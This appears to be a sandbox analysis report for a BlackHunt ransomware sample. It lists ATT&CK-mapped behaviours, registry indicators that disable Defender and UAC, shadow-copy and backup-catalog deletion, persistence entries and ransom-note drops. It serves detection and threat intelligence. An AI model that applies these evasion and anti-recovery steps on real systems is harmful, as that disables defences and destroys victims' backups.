6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523

Data Destruction

T1485

pid	Process
4196	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2752	bcdedit.exe
452	bcdedit.exe

Renames multiple (531) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1424	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\A:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\B:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\W:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\P:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\S:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\V:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\G:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\H:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\Z:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\N:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\M:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\Q:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\E:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\Y:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\O:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\X:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\K:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\R:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\T:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\U:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\J:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\L:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jawt.h	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\management.properties	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\jpeg_fx.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\sRGB.pf	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\id.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\local_policy.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunmscapi.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_HK.properties	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\cldr.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfont.properties.ja	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterRegular.ttf	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\giflib.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jpeg.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\amd64\jvm.cfg	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\lcms.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\javaws.policy	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\US_export_policy.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\asm.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngdatatype.md	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_pt_BR.properties	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\PYCC.pf	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklisted.certs	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1568	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3236	vssadmin.exe
2560	vssadmin.exe
3232	vssadmin.exe
4900	vssadmin.exe
1840	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeRestorePrivilege	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeBackupPrivilege	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeTakeOwnershipPrivilege	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeAuditPrivilege	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeSecurityPrivilege	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeIncBasePriorityPrivilege	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeBackupPrivilege	1600	vssvc.exe
Token: SeRestorePrivilege	1600	vssvc.exe
Token: SeAuditPrivilege	1600	vssvc.exe
Token: SeBackupPrivilege	3404	wbengine.exe
Token: SeRestorePrivilege	3404	wbengine.exe
Token: SeSecurityPrivilege	3404	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4556 wrote to memory of 1824	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	90
PID 4556 wrote to memory of 1824	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	90
PID 4556 wrote to memory of 2972	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	92
PID 4556 wrote to memory of 2972	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	92
PID 4556 wrote to memory of 1244	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	94
PID 4556 wrote to memory of 1244	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	94
PID 4556 wrote to memory of 3736	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	95
PID 4556 wrote to memory of 3736	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	95
PID 4556 wrote to memory of 2276	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	98
PID 4556 wrote to memory of 2276	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	98
PID 2972 wrote to memory of 4864	2972	cmd.exe	100
PID 2972 wrote to memory of 4864	2972	cmd.exe	100
PID 1244 wrote to memory of 2416	1244	reg.exe	106
PID 1244 wrote to memory of 2416	1244	reg.exe	106
PID 3736 wrote to memory of 4756	3736	cmd.exe	104
PID 3736 wrote to memory of 4756	3736	cmd.exe	104
PID 2276 wrote to memory of 4460	2276	cmd.exe	103
PID 2276 wrote to memory of 4460	2276	cmd.exe	103
PID 1824 wrote to memory of 1856	1824	cmd.exe	102
PID 1824 wrote to memory of 1856	1824	cmd.exe	102
PID 4556 wrote to memory of 3432	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	105
PID 4556 wrote to memory of 3432	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	105
PID 4556 wrote to memory of 1236	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	108
PID 4556 wrote to memory of 1236	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	108
PID 4556 wrote to memory of 3852	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	111
PID 4556 wrote to memory of 3852	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	111
PID 4556 wrote to memory of 3184	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	109
PID 4556 wrote to memory of 3184	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	109
PID 4556 wrote to memory of 3588	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	112
PID 4556 wrote to memory of 3588	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	112
PID 4556 wrote to memory of 1640	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	114
PID 4556 wrote to memory of 1640	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	114
PID 4556 wrote to memory of 1956	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	116
PID 4556 wrote to memory of 1956	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	116
PID 4556 wrote to memory of 988	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	119
PID 4556 wrote to memory of 988	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	119
PID 4556 wrote to memory of 1164	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	124
PID 4556 wrote to memory of 1164	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	124
PID 4556 wrote to memory of 4424	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	123
PID 4556 wrote to memory of 4424	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	123
PID 4556 wrote to memory of 4840	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	121
PID 4556 wrote to memory of 4840	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	121
PID 4556 wrote to memory of 4828	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	126
PID 4556 wrote to memory of 4828	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	126
PID 4556 wrote to memory of 4748	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	131
PID 4556 wrote to memory of 4748	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	131
PID 4556 wrote to memory of 4616	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	139
PID 4556 wrote to memory of 4616	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	139
PID 4556 wrote to memory of 1424	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	132
PID 4556 wrote to memory of 1424	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	132
PID 4556 wrote to memory of 3700	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	137
PID 4556 wrote to memory of 3700	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	137
PID 4556 wrote to memory of 2752	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	135
PID 4556 wrote to memory of 2752	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	135
PID 4556 wrote to memory of 2024	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	133
PID 4556 wrote to memory of 2024	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	133
PID 4556 wrote to memory of 2480	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	151
PID 4556 wrote to memory of 2480	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	151
PID 4556 wrote to memory of 4368	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	140
PID 4556 wrote to memory of 4368	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	140
PID 4556 wrote to memory of 2580	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	148
PID 4556 wrote to memory of 2580	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	148
PID 4556 wrote to memory of 1444	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	142
PID 4556 wrote to memory of 1444	4556	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	142

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
"C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
